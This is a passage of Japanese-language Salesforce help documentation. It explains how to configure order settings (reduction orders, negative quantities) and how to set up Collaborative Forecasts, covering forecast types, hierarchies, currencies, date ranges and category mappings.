使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

注文の設定を変更する
• 「アプリケーションの

カスタマイズ」

社内注文管理プロセスを処理するよう Salesforce をカスタマイズします。
[設定] の [注文の設定] ページから次の注文設定を指定します。

注文の有効化
営業チームが顧客からの商品またはサービスの要求を追跡および管理できる
ようにするには、注文を有効にします。
削減注文の有効化
有効化された注文で営業チームが返品や削減を処理できるようにするには
(Salesforce Classic のみ)、Salesforce で削減注文を有効にします。
注文商品の負の数量の有効化
営業チームが 0 未満の数量の注文商品を追加できるようにするには、負の数
量を有効にします。

関連トピック:

注文

注文の有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

注文の設定を変更する
• 「アプリケーションの

カスタマイズ」

営業チームが顧客からの商品またはサービスの要求を追跡および管理できるよ
うにするには、注文を有効にします。
1. [設定] から、[クイック検索] ボックスに「注文の設定」と入力し、[注文の設

定] を選択します。
2. [注文を有効化] が選択されていることを確認します。
3. 変更内容を保存します。
4. [注文] 関連リストがあるページレイアウトを選択して、変更を保存します。
5. プロファイルまたは権限セットを使用して、ユーザおよびオブジェクト権限

を該当のユーザに割り当てます。
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注文を無効にすると、注文関連データは非表示になります。このデータにアクセスするには、注文を再度有効
にします。

関連トピック:

権限セット
拡張プロファイルユーザインターフェースページでの操作
注文設定のカスタマイズ
削減注文の有効化
注文

削減注文の有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

注文の設定を変更する
• 「アプリケーションの

カスタマイズ」

有効化された注文で営業チームが返品や削減を処理できるようにするには
(Salesforce Classic のみ)、Salesforce で削減注文を有効にします。
1. [設定] から、[クイック検索] ボックスに「注文の設定」と入力し、[注文の設

定] を選択します。
2. [注文を有効化] が選択されていることを確認します。
3. [削減注文を有効化] を選択します。
4. 変更内容を保存します。
5. プロファイルまたは権限セットを使用して、必要な権限を該当の営業チーム

メンバーに割り当てます。
• 削除注文を作成するには、チームメンバーに「削減注文の作成」ユーザ

権限が必要です。
• 注文商品を削減注文に追加するには、チームメンバーに [開始日]、[終了

日]、および [元の注文商品] の注文商品項目への項目レベルのアクセス
権が必要です。

6. [削減注文商品] 関連リストを注文商品のページレイアウトに追加することを
検討してください。

メモ:  [削減注文の有効化] を後で無効化すると、「削減注文の作成」権限がすべてのプロファイルまたは
権限セットに表示されなくなりますが、データは表示されます。営業チームは削除注文の作成や有効化
はできませんが、既存の削除注文の参照と編集はできます。削減注文を無効にした場合、削減注文に固
有のレコードタイプおよびページレイアウトが無効になります。レコードタイプを使用していない場合、
削減注文に固有の項目をページレイアウトから削除します。注文オブジェクトの [元の注文] や [削減注
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文]、注文商品オブジェクトの [元の注文商品] や [利用可能な数量]、およびカスタム項目がこれに該当
します。

関連トピック:

権限セット
拡張プロファイルユーザインターフェースページでの操作
注文設定のカスタマイズ
削減注文

注文商品の負の数量の有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

注文の設定を変更する
• 「アプリケーションの

カスタマイズ」

営業チームが 0 未満の数量の注文商品を追加できるようにするには、負の数量
を有効にします。
1. [設定] から、[クイック検索] ボックスに「注文の設定」と入力し、[注文の設

定] を選択します。
2. [注文を有効化] が選択されていることを確認します。
3. [負の数量を有効化] を選択します。
4. 変更内容を保存します。
[負の数量を有効化] を無効にすると、営業チームは負の数量の注文商品を追加し
たり、負の数量の注文商品がある注文を有効化したりできなくなります。ただ
し、営業チームは負の数量を設定した注文商品の参照や編集はできます。

関連トピック:

注文設定のカスタマイズ
注文商品
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売上予測の設定

コラボレーション売上予測の設定

コラボレーション売上予測の設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

テリトリー管理を使用可
能なエディション:
Developer Edition、
Performance Edition、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

営業チームがコラボレーション売上予測を最大限に活用できるように Salesforce

を設定します。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

カスタマイザブル売上予測からコラボレーション売上予測への移行に関する
考慮事項
カスタマイザブル売上予測からコラボレーション売上予測に移行する前に、
いくつかの主要な考慮事項に留意してください。
コラボレーション売上予測の設定に関するガイドライン
コラボレーション売上予測の設定に関する主要なガイドラインを確認してく
ださい。
コラボレーション売上予測で売上予測の設定を定義する際の考慮事項
売上予測の設定を定義する前に、次のいくつかの重要事項を確認してくださ
い。
コラボレーション売上予測での売上予測の設定の定義
営業チームが販売パイプラインから収益と数量の予測を確認できるように、
必要な売上予測種別と、売上予測ページに表示する詳細を選択します。
コラボレーション売上予測のユーザの有効化
営業チームがコラボレーション売上予測を使用できるように Salesforce を設定します。
パートナーポータルユーザを有効化してコラボレーション売上予測商談に追加する
営業チームがパートナーと連携している場合、パートナーユーザの商談の金額を売上予測に含めたり、パー
トナーポータルユーザをチームの売上予測階層に追加したりできます。パートナーポータルユーザは[コラ
ボレーション売上予測] ページやその機能にアクセスできません。
コラボレーション売上予測での売上予測階層の設定
売上予測階層では、すべての売上予測ユーザが一覧表示され、会社でユーザの売上予測がどのように積み
上げ集計されるかが決定されます。売上予測階層を最新の状態に保ち、売上予測マネージャが部下全員の
売上予測金額を確認できるようにします。
コラボレーション売上予測の売上予測通貨の選択
営業チームに適した売上予測通貨のオプションを選択します。
会社の売上予測日付範囲の定義
[コラボレーション売上予測] 積み上げ集計テーブルには、コラボレーション売上予測設定に基づいて、各
月または各四半期か、複数月または複数四半期にわたる売上予測の金額が表示されます。
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[コラボレーション売上予測] 商談ペインでの項目の表示
最大 15 個の標準項目とカスタム項目を選択します。これらの項目は、有効化された売上予測種別ごとに、
商談ペインに表示されます。
[コラボレーション売上予測] 商談ペインで項目を表示する場合のガイドライン
[コラボレーション売上予測]商談ペインで項目を表示する場合の主要なガイドラインを参照してください。
コラボレーション売上予測の売上予測分類のカスタマイズ
売上予測分類は、商談フェーズに基づいて商談が割り当てられる、営業サイクル内のカテゴリです。標準
の売上予測分類は、[パイプライン]、[最善達成予測]、[達成予測]、[売上予測から除外]、および [完了] です。
売上予測分類名はカスタマイズできます。
商談フェーズと売上予測分類の対応付けの表示と更新
売上予測は、商談フェーズ選択リスト値が売上予測分類選択リストの値にどのように対応付けられるかに
依存します。たとえば、最終交渉フェーズを最善達成予測の売上予測分類に対応付けると、最終交渉の商
談の金額は最善達成予測の売上予測金額に含められます。商談のフェーズが変わると、確度と売上予測分
類も変わります。
コラボレーション売上予測の無効化に関する考慮事項
コラボレーション売上予測を無効にする前に、データにどのように影響するかを確認してください。

関連トピック:

セールス機能: Lightning Experience で使用できない機能とその新機能
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カスタマイザブル売上予測からコラボレーション売上予測への移行に関する考慮事項

エディション

コラボレーション売上予
測を使用可能なエディ
ション: Salesforce Classic
と Lightning Experience の
両方

コラボレーション売上予
測を使用可能なエディ
ション: Professional Edition
(カスタム項目の売上予測
を除く)、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

テリトリー管理を使用可
能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属する
Enterprise Edition および
Unlimited Edition

ユーザ権限

「設定・定義を参照する」売上予測設定を参照する

「アプリケーションのカスタマイズ」売上予測設定を編集する

「内部ユーザの管理」

および

「アプリケーションのカスタマイズ」

売上予測ユーザを有効にする

「アプリケーションのカスタマイズ」

および

「目標を管理」

目標を管理する

「目標を管理」

および

「すべての売上予測の参照」

Salesforce に目標データをアップロード
する

カスタマイザブル売上予測からコラボレーション売上予測に移行する前に、い
くつかの主要な考慮事項に留意してください。
• コラボレーション売上予測を有効にするには、カスタマイザブル売上予測を

無効にする必要があります。カスタマイザブル売上予測の無効化に支援が必
要な場合は、Salesforce にお問い合わせください。

• カスタマイザブル売上予測を無効にすると、[目標] 関連リストがユーザレコードに表示されなくなります。
「自分の目標の編集」権限 (API 参照名: PermissionsEditOwnQuota) も Profile オブジェクトに表示されなく
なります。

• 元のテリトリー管理機能を有効化している場合、コラボレーション売上予測に移行する前に、カスタマイ
ザブル売上予測と元のテリトリー管理を無効化する必要があります。これらの機能を無効にするには、
Salesforce にお問い合わせください。エンタープライズテリトリー管理とコラボレーション売上予測は、同
時に有効化して使用できますが、2 つの機能は連動するように統合されていません。

• 移行すると、カスタマイザブル売上予測の売上予測履歴、上書き、レポート、共有データは消去されます。
• バックアップのために売上予測レポートデータのエクスポートを検討してください。
• 月別売上予測は、デフォルトのコラボレーション売上予測期間です。この設定は四半期別に変更できます。

カスタム会計年度を使用する場合は、会計期間がデフォルトになります。カスタム四半期を選択すること
もできます。

• 売上予測階層は維持されます。ただし、データ損失のリスクを最小限に抑えるために、カスタマイザブル
売上予測を無効にしたら、ただちにコラボレーション売上予測に移行することを検討してください。移行
後に売上予測ユーザを再度有効にしないでください。すべての階層の正確性を検証してください。
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• 移行する前に、「売上予測のバージョン間の違いは?」を確認して、コラボレーション売上予測で提供され
る最新の改善からメリットを得ることができるかどうかを判断します。

関連トピック:

売上予測のバージョン間の違いは?

コラボレーション売上予測の設定に関するガイドライン

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

テリトリー管理を使用可
能なエディション:
Developer Edition、
Performance Edition、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

コラボレーション売上予測の設定に関する主要なガイドラインを確認してくだ
さい。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

重要: Salesforce Classic で新しいユーザインターフェースのテーマを無効にし
ないでください。または、元のテリトリー管理を有効にしてください。エ
ンタープライズテリトリー管理を有効にできますが、売上予測積み上げ集
計は、テリトリー階層ではなくロール階層に基づきます。

• Lightning Experienceを使用している場合は、[設定] から [コラボレーション売上
予測] にアクセスできません。Salesforce Classic に切り替えて、コラボレーショ
ン売上予測を設定します。

• 1 ～ 4 個の売上予測種別を有効にする。
• 売上予測種別ごとに商談ペインに表示される項目を選択する。
• 営業チームが目標を使用する場合、目標を有効にする。
• 営業チームが売上予測を調整する場合、売上予測調整を有効にする。
• 個別の売上予測分類積み上げ集計を使用するかどうかを選択するか累積売上

予測積み上げ集計を有効化する。
• 売上予測範囲を定義する。期間とデフォルトの範囲を選択できます。標準お

よびカスタム会計年度がサポートされています。
• 会社で特定の用語を使用する場合、売上予測分類をカスタマイズする。
• 会社でマルチ通貨を使用する場合、売上予測通貨 (会社のマスタ通貨または売上予測所有者の個人設定の通

貨) を設定する。
• 売上予測が必要なユーザを有効にする。
• 会社内で売上予測を積み上げ集計する方法と売上予測を表示および調整できるユーザを決定するために、

売上予測階層を設定する。売上予測階層はロール階層に基づいており、売上予測マネージャになるユーザ
を指定します。

• コラボレーション売上予測ユーザが売上予測ページにアクセスできることを確認する。
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• 最良の表示結果を得るために、タブバーオーガナイザを有効にしたままにする。

関連トピック:

コラボレーション売上予測の概念
コラボレーション売上予測での売上予測の設定の定義
コラボレーション売上予測の無効化に関する考慮事項
カスタマイザブル売上予測からコラボレーション売上予測への移行に関する考慮事項

コラボレーション売上予測で売上予測の設定を定義する際の考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

売上予測の設定を定義する前に、次のいくつかの重要事項を確認してください。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

• Lightning Experienceを使用している場合は、[設定] から [コラボレーション売上
予測] にアクセスできません。Salesforce Classic に切り替えて、コラボレーショ
ン売上予測を設定します。

• コラボレーション売上予測を設定する前にドキュメントを確認することをお
勧めします。特定の設定を変更すると、データが失われることがあります。

• 調整を無効にすると、調整データが消去されます。
• 売上予測期間を変更すると、目標データと調整データが消去されます。
• 売上予測種別を削除すると、その売上予測種別の目標データと調整データが

消去されます。
• 売上予測種別の売上予測単位を収益から数量 (またはその逆) に変更すると、

その売上予測種別の目標データと調整データが消去されます。
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コラボレーション売上予測での売上予測の設定の定義

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

ユーザ権限

「設定・定義を参照する」売上予測設定を参照する

「アプリケーションのカスタマイズ」売上予測設定を編集する

「内部ユーザの管理」

および

「アプリケーションのカスタマイズ」

売上予測ユーザを有効化する

「アプリケーションのカスタマイズ」

および

「目標を管理」

目標を管理する

「目標を管理」

および

「すべての売上予測の参照」

Salesforce に目標データをアップロード
する

営業チームが販売パイプラインから収益と数量の予測を確認できるように、必
要な売上予測種別と、売上予測ページに表示する詳細を選択します。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイザブル売上予測] には適用され
ません。

重要: Salesforce Classic で新しいユーザインターフェースのテーマを無効にしないでください。または、元
のテリトリー管理を有効にしてください。エンタープライズテリトリー管理を有効にできますが、売上
予測積み上げ集計は、テリトリー階層ではなくロール階層に基づきます。

1. Lightning Experience を使用している場合は、Salesforce Classic に切り替えます。
2. [設定] から、[クイック検索] ボックスに「売上予測の設定」と入力し、[売上予測の設定] を選択します。コ

ラボレーション売上予測が有効でない場合、[売上予測を有効化] を選択します。
3. 売上予測種別が有効になっていない場合は、[売上予測種別を追加] をクリックします。別の売上予測種別

を有効にするには、[別の売上予測種別を追加] をクリックします。
4. 追加する売上予測種別を選択します。他の設定に応じて、商談、商談分割、オーバーレイ分割、商品ファ

ミリ、またはカスタム商談通貨の項目を選択できます。
5. 使用する売上予測単位 ([収益]または [数量]) を選択します。両方の売上予測単位の売上予測を使用する場合

は、それぞれに別個の売上予測種別を追加します。
すべての売上予測種別が両方の売上予測単位をサポートしているわけではありません。たとえば、商談分
割の売上予測は収益に対してのみ実行できます。

6. 売上予測ページの商談ペインに表示される項目を選択します。
売上予測種別ごとに異なる項目のセットを選択できます。
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7. [OK] をクリックします。
8. 会社および特定のユーザに対して、売上予測の調整を有効化します。
9. 累積売上予測積み上げ集計を有効化します。
10. [デフォルトの売上予測表示の設定] で、売上予測期間を選択します。標準およびカスタム会計年度がサポー

トされています。
11. [デフォルトの売上予測表示の設定] で、開始期間および表示する期間数を選択します。この設定は、売上

予測ページで変更しない限り、すべてのコラボレーション売上予測ユーザのデフォルトになります。
12. 必要な場合は、売上予測分類をカスタマイズします。
13. 会社でマルチ通貨を使用している場合は、売上予測で使用する通貨を選択します。
14. 見積を有効化します。
15. 変更内容を保存します。
16. コラボレーション売上予測を使用する必要があるユーザを有効化します。
17. 売上予測を積み上げ集計する方法と、売上予測を表示および調整できるユーザを決定するために、売上予

測階層を設定します。
18. [売上予測の設定] ページに戻り、必要に応じて設定を更新します。

関連トピック:

コラボレーション売上予測の概念
コラボレーション売上予測の設定に関するガイドライン
コラボレーション売上予測の無効化に関する考慮事項
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コラボレーション売上予測のユーザの有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

ユーザ権限

売上予測ユーザを有効に
する
• 「ユーザの管理」

および

「アプリケーションの
カスタマイズ」

営業チームがコラボレーション売上予測を使用できるように Salesforce を設定し
ます。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選
択します。

2. 有効化するユーザごとに、[編集] をクリックします。
3. [一般情報] で、[売上予測を許可] を選択します。
4. 変更内容を保存します。
有効化されたユーザは予測売上階層に表示されます。売上予測階層を設定する
ときに、別のユーザを有効化したり、有効化したユーザを無効化したりできま
す。

関連トピック:

コラボレーション売上予測の概念
パートナーポータルユーザを有効化してコラボレーション売上予測商談に追
加する
コラボレーション売上予測の設定に関するガイドライン
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パートナーポータルユーザを有効化してコラボレーション売上予測商談に追加する

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

売上予測ユーザを有効に
する
• 「内部ユーザの管理」

および

「アプリケーションの
カスタマイズ」

パートナープロファイル
をパートナーポータルに
割り当てる
• 「アプリケーションの

カスタマイズ」

営業チームがパートナーと連携している場合、パートナーユーザの商談の金額
を売上予測に含めたり、パートナーポータルユーザをチームの売上予測階層に
追加したりできます。パートナーポータルユーザは[コラボレーション売上予測]

ページやその機能にアクセスできません。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

1. 次の作業が完了していることを確認してください。
• パートナーポータルを有効にする
• パートナーポータルを作成する
• パートナープロファイルを作成し、パートナーポータルに割り当てる
• 取引先をパートナーとして有効にし、その取引先の取引先責任者のパー

トナーポータルログインを有効にする

2. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選
択し、作成したパートナーポータル取引先責任者を選択します。

3. [有効] および [売上予測を許可] チェックボックスがオンになっていることを
確認します。

4. [売上予測階層] でパートナーポータルユーザを有効にし、そのユーザが有効
な売上予測マネージャに割り当てられていることを確認します。

関連トピック:

コラボレーション売上予測の概念
コラボレーション売上予測の設定に関するガイドライン
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コラボレーション売上予測での売上予測階層の設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

ユーザ権限

売上予測ユーザを有効に
する
• 「ユーザの管理」

および

「アプリケーションの
カスタマイズ」

売上予測階層では、すべての売上予測ユーザが一覧表示され、会社でユーザの
売上予測がどのように積み上げ集計されるかが決定されます。売上予測階層を
最新の状態に保ち、売上予測マネージャが部下全員の売上予測金額を確認でき
るようにします。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

ユーザを売上予測マネージャとして割り当てる場合は、階層でのマネージャの
部下からのすべての売上予測および調整がマネージャの売上予測に積み上げ集
計されます。売上予測マネージャを売上予測階層の最上位レベルに割り当てま
す。
売上予測の表示で階層の各レベルにまで積み上げ集計するには、部下を持つ各
営業マネージャが、売上予測階層内で売上予測マネージャとして指定されてい
ることを確認します。
1. Lightning Experience を使用している場合は、Salesforce Classic に切り替えます。
2. [設定] から、[クイック検索] ボックスに「売上予測階層」と入力し、[売上予

測階層] を選択します。
3. 使用可能なロールを表示するには、[すべて展開] をクリックします。
4. [選択可能なユーザ] リストと [有効ユーザ] リストの間でユーザを移動するに

は、[ユーザの有効化] をクリックして、[追加] と [削除] をクリックします。
ユーザを以前に有効化している場合は、[設定] から、[クイック検索] ボック
スに「ユーザ」と入力して [ユーザ] を選択し、ユーザページを編集して売上
予測を許可すると、[有効ユーザ] リストに名前が表示されます。

5. 階層内のマネージャロールごとに売上予測マネージャを選択するには、ロー
ルの横にある [マネージャの編集] をクリックして、[売上予測マネージャ] ド
ロップダウンリストから名前を選択します。

6. 変更内容を保存します。

関連トピック:

コラボレーション売上予測の概念
コラボレーション売上予測の売上予測調整の有効化
コラボレーション売上予測のユーザの有効化
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コラボレーション売上予測の売上予測通貨の選択

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

ユーザ権限

売上予測ユーザを有効に
する
• 「ユーザの管理」

および

「アプリケーションの
カスタマイズ」

営業チームに適した売上予測通貨のオプションを選択します。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

1. Lightning Experience を使用している場合は、Salesforce Classic に切り替えます。
2. 「売上予測におけるマルチ通貨」で情報を確認します。
3. [設定] から、[クイック検索] ボックスに「売上予測の設定」と入力し、[売上

予測の設定] を選択します。
4. [売上予測通貨] で、売上予測の通貨のオプションを選択します。
5. 変更内容を保存します。

関連トピック:

コラボレーション売上予測の概念
コラボレーション売上予測での売上予測の調整
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会社の売上予測日付範囲の定義

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

ユーザ権限

売上予測ユーザを有効に
する
• 「ユーザの管理」

および

「アプリケーションの
カスタマイズ」

[コラボレーション売上予測]積み上げ集計テーブルには、コラボレーション売上
予測設定に基づいて、各月または各四半期か、複数月または複数四半期にわた
る売上予測の金額が表示されます。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

警告: 期間を [毎月] から [毎四半期] または [毎四半期] から [毎月] に変更する
か、標準会計年度を変更すると、すべての調整および目標が消去されます。
カスタム会計年度を有効にした場合、最初のカスタム会計年度を作成する
と、対応する標準会計年度以降の目標と調整が削除されます。これらの変
更により、売上予測の再計算がトリガされます。データ量によっては、こ
の再計算にかなりの時間がかかる場合があります。

カスタム会計年度を使用する場合、カスタム期間または四半期が表示されます。
ユーザは、過去または将来の 12 か月または 8 四半期までの売上予測が可能です。
売上予測範囲に当月または当四半期が含まれている場合、売上予測ページには
デフォルトで当月または当四半期が表示されます。含まれていない場合は、範
囲の最初の月または四半期が選択されます。
売上予測の日付範囲が、すべてのコラボレーション売上予測ユーザのデフォル
トになります。ユーザはこのデフォルトを使用するか、自分の売上予測用に異
なる日付範囲表示を設定できます。ユーザが個々の売上予測日付範囲表示を変
更した後、Salesforce システム管理者はそれを上書きできません。ただし、期間
の表示を [毎月] から [毎四半期] または [毎四半期] から [毎月] に変更した場合は、
すべてのユーザの売上予測に変更内容が反映されます。
1. Lightning Experience を使用している場合は、Salesforce Classic に切り替えます。
2. [設定] から、[クイック検索] ボックスに「売上予測の設定」と入力し、[売上

予測の設定] を選択します。
3. [デフォルトの売上予測表示の設定] で、開始期間および表示する期間数を選

択します。
4. 変更内容を保存します。

関連トピック:

月別売上予測と四半期別売上予測
コラボレーション売上予測の概念
コラボレーション売上予測の設定に関するガイドライン
売上予測の日付範囲表示の変更
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[コラボレーション売上予測] 商談ペインでの項目の表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

ユーザ権限

商談ペインをカスタマイ
ズする
• 「アプリケーションの

カスタマイズ」

設定および定義を参照す
る
• 「設定・定義を参照す

る」

最大 15 個の標準項目とカスタム項目を選択します。これらの項目は、有効化さ
れた売上予測種別ごとに、商談ペインに表示されます。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

1. Lightning Experience を使用している場合は、Salesforce Classic に切り替えます。
2. [設定] から、[クイック検索] ボックスに「売上予測の設定」と入力し、[売上

予測の設定] を選択します。
3. 商談項目を編集する売上予測種別の名前をクリックします。
4. リストに表示する商談項目を選択します。項目を上から下に並び替えると、

リスト内の項目が左から右に並び替えられます。
5. [OK] をクリックします。

関連トピック:

[コラボレーション売上予測] 商談ペインで項目を表示する場合のガイドライ
ン
コラボレーション売上予測の概念
コラボレーション売上予測の設定に関するガイドライン
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[コラボレーション売上予測] 商談ペインで項目を表示する場合のガイドライン

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

[コラボレーション売上予測]商談ペインで項目を表示する場合の主要なガイドラ
インを参照してください。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

• 商談項目を商談ペインに追加してもコラボレーション売上予測ユーザに表示
されない場合は、特定のユーザプロファイルおよび項目の項目レベルセキュ
リティ設定を確認します。売上予測がその項目に基づいている場合、項目レ
ベルセキュリティに関係なく、[売上予測金額] 列にはその項目の値、または
売上予測に占めるその項目の分割の値が表示されます。

• 営業担当が積み上げ集計テーブルの売上予測金額を選択すると、その金額に
積み上げ集計する商談のリストがテーブルの下に表示されます。最大 15 個の
標準項目とカスタム項目を選択します。これらの項目は、有効化された売上
予測種別ごとに、商談ペインに表示されます。営業チームには、項目レベル
セキュリティ設定に基づいて選択された項目が表示されます。[商談名]は必
須項目です。[売上予測分類] をペインに追加することをお勧めします。

• 項目を選択するときは、売上予測積み上げ集計で使用した項目を考慮してく
ださい。
– 商談数量の売上予測は商談の [数量]項目に基づいて積み上げ集計される

のに対して、商談収益の売上予測は商談の [金額]項目に基づいて積み上
げ集計されます。

– 商談分割の収益売上予測の場合、商談の [金額] 項目と営業担当者に割り当てられた分割率に基づいて
積み上げ集計されます。

– カスタム商談項目の売上予測の場合、カスタム項目の金額に基づいて積み上げ集計されます。
– 商品ファミリの収益売上予測の場合、その商品ファミリのすべての商談品目の [合計金額] 項目の総和

に基づいて積み上げ集計されます。
– 商品ファミリの数量売上予測の場合、その商品ファミリのすべての商談品目の [数量] 項目に基づいて

積み上げ集計されます。
– 商談品目を持たない商談か、指定された商品ファミリが含まれない品目を持つ商談の場合、合計は [売

上予測] ページの [分類されていない商品] 行に集計されます。
売上予測種別で収益単位または数量単位のいずれを使用するかに応じて、[金額] または [数量] をペイン
に追加することを検討してください。

• 売上予測データソースが商談または商品ファミリの場合、デフォルトで [金額] 項目が表示されます。売
上予測データソースが商談分割の場合、デフォルトで [売上予測金額] 項目と [分割 %] 項目が表示されま
す。有効にした後でも、売上予測種別ごとに選択した項目を変更することができます。
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コラボレーション売上予測の売上予測分類のカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

ユーザ権限

売上予測ユーザを有効化
する
• 「ユーザの管理」

および

「アプリケーションの
カスタマイズ」

売上予測分類は、商談フェーズに基づいて商談が割り当てられる、営業サイク
ル内のカテゴリです。標準の売上予測分類は、[パイプライン]、[最善達成予測]、
[達成予測]、[売上予測から除外]、および [完了] です。売上予測分類名はカスタ
マイズできます。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

1. 商談の管理設定から、[項目] に移動します。
2. [売上予測分類] をクリックします。
3. 売上予測分類の選択リスト値にある編集対象の値の [編集] をクリックしま

す。
4. 売上予測分類名を入力します。
5. 変更内容を保存します。
新規売上予測分類名が商談レコードおよび売上予測に表示されます。

関連トピック:

コラボレーション売上予測の概念
コラボレーション売上予測の設定に関するガイドライン
オブジェクト管理設定の検索

商談フェーズと売上予測分類の対応付けの表示と更新
売上予測は、商談フェーズ選択リスト値が売上予測分類選択リストの値にどの
ように対応付けられるかに依存します。たとえば、最終交渉フェーズを最善達
成予測の売上予測分類に対応付けると、最終交渉の商談の金額は最善達成予測
の売上予測金額に含められます。商談のフェーズが変わると、確度と売上予測
分類も変わります。
次に、対応付けの例を示します。

売上予測分類確度フェーズ

パイプライン10%コンタクト

パイプライン10%評価

パイプライン20%ニーズの把握

パイプライン50%値の提示

パイプライン60%ID 決定者

パイプライン70%認識分析

パイプライン75%提案書/見積書の作成
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売上予測分類確度フェーズ

最善達成予測90%最終交渉

達成予測100%商談成立

1. 商談の管理設定から、[項目] に移動します。
2. [フェーズ] をクリックします。商談フェーズ選択リスト値の各行には、対応付けられているフェーズと売

上予測分類が表示されます。
3. 対応付けを変更するには、[編集] をクリックします。
4. 変更内容を保存します。

関連トピック:

FAQ - 売上予測

コラボレーション売上予測の無効化に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
